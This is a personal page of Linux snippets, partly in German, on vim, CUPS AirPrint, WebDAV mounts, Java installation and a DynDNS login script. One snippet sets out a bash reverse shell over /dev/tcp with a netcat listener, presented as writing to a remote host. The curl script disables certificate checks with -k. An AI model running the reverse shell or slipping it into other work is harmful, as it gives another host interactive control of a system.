Linux Snippets
Fix AirPrint for iOS6 and Avahi
taken from http://ubuntuforums.org/showpost.php?s=08f439dd474385eb80db7fc8bc760a8c&p=12254866&postcount=19
You need to create 2 files under
/usr/share/cups/mime
airprint.types with content below
# # "$Id: $" # # AirPrint type image/urf urf string(0,UNIRAST<00>) # # End of "$Id: $". #
airprint.convs
# # "$Id: $" # # AirPrint # Updated list with minimal set 25 Sept image/urf application/pdf 100 pdftoraster # # End of "$Id: $". #
Then restart cups
sudo service cups restart
optionally get airprint-generate.py from https://github.com/tjfontaine/airprint-generate
Disk Usage
To get the size of all directories under '/' use this command:
sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null
Get your public IP
To get your public IP just enter the following wget line:
wget -q -O - www.whatismyip.org && echo
Bash write directly to remote host
You can use the following command to directly write from the bash prompt to a remote hosts port.
/bin/bash -i > /dev/tcp/[IP]/[PORT] 0<&1 2>&1
Example:
/bin/bash -i > /dev/tcp/192.168.178.5/8080 0<&1 2>&1
If you open a listening port on the other host with netcat
nc -l -n -vv -p 8080
you have redirected your shell to a remote host.
Block all processes that try to access facebook.com
I have seen this on the Hak5 podcast.
ngrep -q -d any 'facebook.com' -K 10
All Processes trying to acces facebook.com will be killed (10x)
Show non-printable characters in vi
How can you display non-printable characters like [TAB] etc. in vi?
[ESC] to get into command mode
:set list
Look through the file. Tabs will be ^I, DOS-style end-of-lines will be ^M, etc.
To go back:
[ESC] to get into command mode
:set nolist
vi optimizing
If you have enough disk space and you want to get the full vim experience you should install the following packages
apt-get install vim-full vim-doc
that will cost about 100MByte disk space. After that Syntax Highlighting should work like a charm
To have a good and working .vimrc on a Debian system issue the following command to copy the sample .vimrc to your home directory:
cp /usr/share/vim/vim7*/debian.vim ~/.vimrc
vi enable syntax highlighting
Start vim You can now turn on syntax highlighting with
:syntax on
and turn it off with
:syntax off
If you want to permanently add this setting to vim add the following line to your ~/.vimrc file
syn on
vi provide color schemes
The following command will add all available vim colorschemes to your ~/.vimrc file
for a in $(printf '%s\n' /usr/share/vim/vim72/colors/*.vim); do echo \"colorscheme $(basename $a .vim);done >> ~/.vimrc
They are all commented out by default (line begins with “). Enable the one you like. I prefer “evening”.
Check if session is interactive or not
if [ -t 0 ]; then echo interactive; fi
See man [ or the help to the if-command of your shell for details.
# -t FD file descriptor FD is opened on a terminal #
Result is 1 if interactive or 0 if not.
Mount a webdav folder as normal user
Installation von davfs2 und Benutzer zur Gruppe davfs2 hinzufügen
sudo apt-get install davfs2 sudo adduser benutzer1 davfs2
Ordner für Mountpoint erstellen und Rechte vergeben
sudo mkdir -p /media/hidrive sudo chown benutzer1:benutzer1 /media/hidrive
Fix zur Unterdrückung der “kernoops-Fehlermeldung” In der Datei /etc/davfs2/davfs2.conf folgenden Eintrag machen
ignore_home kernoops
Eintrag zu /etc/fstab hinzufügen
#Strato HiDrive WebDAV (https) https://superman.webdav.hidrive.strato.com/ /media/hidrive davfs noauto,user 0 0
Nun sollte man bereits in der Lage sein durch den Befehl
mount /media/hidrive
den Mount durchzuführen. Man muss allerdings (noch) den Benutzernamen und das Passwort manuell eingeben. Benutzername und Passwort hinterlegen Zum Hinterlegen des Passworts stehen 2 Dateien zur Verfügung, entweder die globale Konfigurationsdatei unter
/etc/davfs2/secrets
oder die entsprechende Datei des Benutzers
~/.davfs2/secrets
Wir erstellen eine Datei im Homeverzeichnis des Benutzers “benutzer1″.
mkdir -p ~/.davfs2/ touch ~/.davfs2/secrets chmod 600 ~/.davfs2/secrets
In die eben erstellte Datei schreiben wir nun die Zugangsdaten im Format
mountpoint user passwort
also z.B. folgendermaßen
#see man davfs for more info /media/hidrive superman saperm5nshidrive$2077492
Als Benutzer “benutzer1” können wir nun problemlos per
mount /media/hidrive
oder
umount /media/hidrive
das Laufwerk mounten oder unmounten.
Remove all comments from Linux Configuration files
grep -E "^[^\#].*" <FILENAME>
Get the installation date of Ubuntu system
Version 1
iDate() { stat -c 'Install Date: %y' /var/log/installer/casper.log; }
Then use
iDate
You can easily add this to your .bashrc file to have it always available.
Version 2
date -r /var/log/installer/casper.log +'Install Date: %Y-%m-%d'
Show file permissions in numeric format
stat -c %a <filename>
You can create this nice alias:
alias cacls="stat -c %a $1"
and then use
cacls <filename>
Mit grep in Dateien suchen
Mit folgendem Befehl:
grep --color=auto -iRnH 'suchbegriff' [Dateifilter]
kann man schön in Dateien suchen und bekommt eine farblich Ausgabe. Natürlich muss man “suchbegriff” und [Dateifilter] anpassen, z.B.
grep --color=auto -iRnH 'read' *.php
vim Cursortastenproblem
Bei einigen Debian kompatiblen Distributionen erscheinen bei der Benutzung von vi bei Benutzung der Cursortasten seltsame Zeichen. Abhilfe schafft hier, wenn man die Debian Grundeinstellungen für vi lädt.
cp /usr/share/vim/vim71/debian.vim ~/.vimrc
und es sollte nunmehr funktionieren.
vim Zeilennumerierung aktivieren
Um während der Benutzung von vim die Zeilennumerierung zu aktivieren kann man durch Eingabe von
:set number
die Zeilennumerierung aktivieren. Natürlich kann man diese Einstellung auch permanent in die .vimrc eintragen.
Strange characters in man pages
If you read man pages via ssh sometimes you have strange characters. To avoid this just add the following line to your ~/.bashrc
alias man='man -E ascii'
Then logout and re-login. Your manpages should look fine now.
Find files that have names longer than 103 characters (DVD file system)
Since windows can not read filenames longer thatn 103 characters on a DVD, we need to find out, that there is no filename longer than 103 characters. The following command does this for us.
cd "to directory that should be your DVD root" find ./ | sed -e 's/.*\///g' | grep -e "\(.\)\{104\}"
You can change the value “104” to any amount of characters you like, eg. to check if you have files on your machine with names longer than 60 characters try:
find / | sed -e 's/.*\///g' | grep -e "\(.\)\{61\}"
IP-Address at login prompt
For virtual machines with dynamic IP configuration it is useful to see the IP address at login prompt. Create the following script in /etc/network/if-up.d/ipatprompt
#! /bin/sh # Show IP at login prompt set -e # Don't bother to restart when lo is configured. if [ "$IFACE" = lo ]; then exit 0 fi # Only run from ifup. if [ "$MODE" != start ]; then exit 0 fi # We only care about inet and inet6. Get ye gone, strange people # still using ipx. if [ "$ADDRFAM" != inet ] && [ "$ADDRFAM" != inet6 ]; then exit 0 fi # ifconfig available? if [ ! -e /sbin/ifconfig ]; then exit 0 fi # sed available? if [ ! -e /bin/sed ]; then exit 0 fi # awk available? if [ ! -e /usr/bin/awk ]; then exit 0 fi # adding IP address to /etc/issue so it is visible at prompt. # IPADD=`/sbin/ifconfig | sed '/Bcast/!d' | awk '{print $2}'| awk '{print $2}' FS=":"` echo 'Debian GNU/Linux 7.0 \\n \\l '$IPADD > /etc/issue echo '' >> /etc/issue exit 0
Then make the script executable (chmod +x)
Now you have the IP address at login prompt.
Install Latest JAVA on Debian based systems
Add the following lines to /etc/apt/sources.list
# Latest JAVA runtime # ADD apt-key adv --keyserver keys.gnupg.net --recv-keys 5CB26B26 # REMOVE apt-key del 5CB26B26 deb http://www.duinsoft.nl/pkg debs all
Then execute the following commands
sudo apt-key adv --keyserver keys.gnupg.net --recv-keys 5CB26B26 sudo apt-get remove openjdk-6-jre sudo apt-get remove openjdk-7-jre sudo apt-get update sudo apt-get clean sudo apt-get install update-sun-jre
You should now have the latest JAVA on your system (and it will auto-update).
To verify the installation goto the following URL http://java.com/en/download/installed.jsp to verify your installation
This HowTo is from here.
http://www.webupd8.org/2012/11/oracle-sun-java-6-installer-available.html
Export dokuwiki to HTML
Add the following to the URL
&do=export_html
then you have an HTML-View and you can print via your browser.
Autologin to DynDNS Website
#!/bin/sh ################################################################ # logon_to_dyndns.sh V0.2 by PCFreak 2013 ################################################################ # This script performs a login to http://account.dyn.com # and then logs you out. # # You could run this as a monthly cron job to avoid expiration # of your hostname as stated in the new SLAs from dyn.com # # It is now no longer enough just to use an update-client, you # have to login to their webpage. # That's what this script does for you! ################################################################ url="https://account.dyn.com/" # URL of login page cookie="`mktemp /tmp/tmp.dyncookie.XXXXXXXXXXX`" # tmpfile for cookie htmltmp="`mktemp /tmp/tmp.dynhtml1.XXXXXXXXXXX`" # tmpfile for received page username="youruser" # your dyn.com username password="yourpassword" # your dyn.com password debug="0" # set to 1 for debug #create a trap to delete the temporary files when the script exits #when debug=1 you have to cleanup other stuff yourself! trap 'rm "$htmltmp"; rm "$cookie"' EXIT # 001 Open $url, follow redirects (-L), save (-c)/read(-b) cookie and store to $html curl -k -s -L -c "$cookie" -b "$cookie" "$url" > "$htmltmp" if test "$debug" = "1" ; then cat "$htmltmp" > "./1.html" cat "$cookie" > "./cookie1" fi # Extract the value of "multiform" from $html with grep and sed multiform="`grep 'multiform' "$htmltmp" | head -1 | sed -e "s@\(.*value='\)\(.*\)\('.*\)@\2@g"`" if test "$debug" = "1" ; then echo "multiform: $multiform" fi # 002 Login by submitting username, password, multiform and the previously created cookie curl -k -s -L -c "$cookie" -b "$cookie" -F "username=$username" -F "password=$password" -F "iov_id=" -F "submit=Log in" -F "multiform=$multiform" "$url" > "$htmltmp" if test "$debug" = "1" ; then cat "$htmltmp" > "./2.html" cat "$cookie" > "./cookie2" if test -z "`grep "_login" ./2.html`" ; then # if _login not found in output echo "Login success" else echo "Login failure" fi fi # 003 Logout curl -k -s -L -c "$cookie" -b "$cookie" -F "__logout=1" "$url" > "$htmltmp" if test "$debug" = "1" ; then cat "$htmltmp" > "./3.html" cat "$cookie" > "./cookie3" if test -n "`grep 'Thank you' ./3.html| head -1`" ; then # if "Thank you" found in output echo "Logout success" else echo "Logout failure" fi fi exit 0